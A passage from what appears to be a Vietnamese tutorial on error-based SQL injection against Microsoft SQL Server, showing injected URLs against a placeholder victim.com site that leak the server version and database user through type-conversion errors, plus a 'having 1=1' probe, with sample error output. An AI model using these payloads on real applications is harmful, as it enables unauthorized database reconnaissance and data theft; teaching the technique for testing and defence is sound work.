Các máy chủ cơ sở dữ liệu hiểu rằng nếu giá trị không phải là một số thì nó phải

là tên một cột Trong trường hợp này, máy chủ sẽ tìm kiếm trên cột có tên là attacker trong bảng products Tuy nhiên, không có cột nào có tên là attacker, do đó

nó sẽ trả về lỗi Có một số kỹ thuật để chúng ta có thể sử dụng để lấy thông tin nhúng trong những lỗi trả về từ cơ sở dữ liệu Đầu tiên là tạo ra một lỗi khi chuyển đổi một chuỗi thành một số nguyên:

http://www.victim.com/showproducts.aspx?category=bikes' and 1=0/@@version;

32

Ứng dụng phản hồi lại:

Server Error in '/' Application

Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 – 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows

NT 5.2 (Build 3790: ) ' to a column of data type int

Description: An unhandled exception occurred during the execution of the current web request Please review the stack trace for more information about the error and where it originated

in the code

Các cơ sở dữ liệu báo cáo lỗi, chuyển đổi kết quả của @@version sang một số nguyên và hiện thị nội dung Kỹ thuật này lạm dụng các chức năng chuyển đổi trong SQL Server Chúng ta đã gửi 0/@@version như là một phần được chèn vào Như là một phép chia được thực thi giữa hai số, cơ sở dữ liệu cố gắng chuyển đổi các kết quả từ @@version sang một số nguyên Khi phép toán thực hiện lỗi thì cơ

sở dữ liệu hiển thị nội dung của biến Ta có thể sử dụng kỹ thuật này để hiển thị bất

cứ biến nào trong cơ sở dữ liệu Ví dụ sau sử dụng kỹ thuật này để hiển thị các biến người dùng thì ứng dụng phản hồi như sau:

http:/ /www.victim.com/showproducts.aspx?category=bikes' and 1=0/user; Syntax error converting the nvarchar value 'dbo' to a column of data type int

Description: An unhandled exception occurred during the execution of the current web request Please review the stack trace for more information about the error and where it originated

in the code

Cũng có một kỹ thuật để hiển thị thông tin về câu lệnh được thực thi bởi cơ sở

dữ liệu bằng cách sử dụng having 1=1:

http://www.victim.com/showproducts.aspx?category=bikes' having 1'='1

Ứng dụng phản hồi trở lại như sau:

Server Error in '/' Application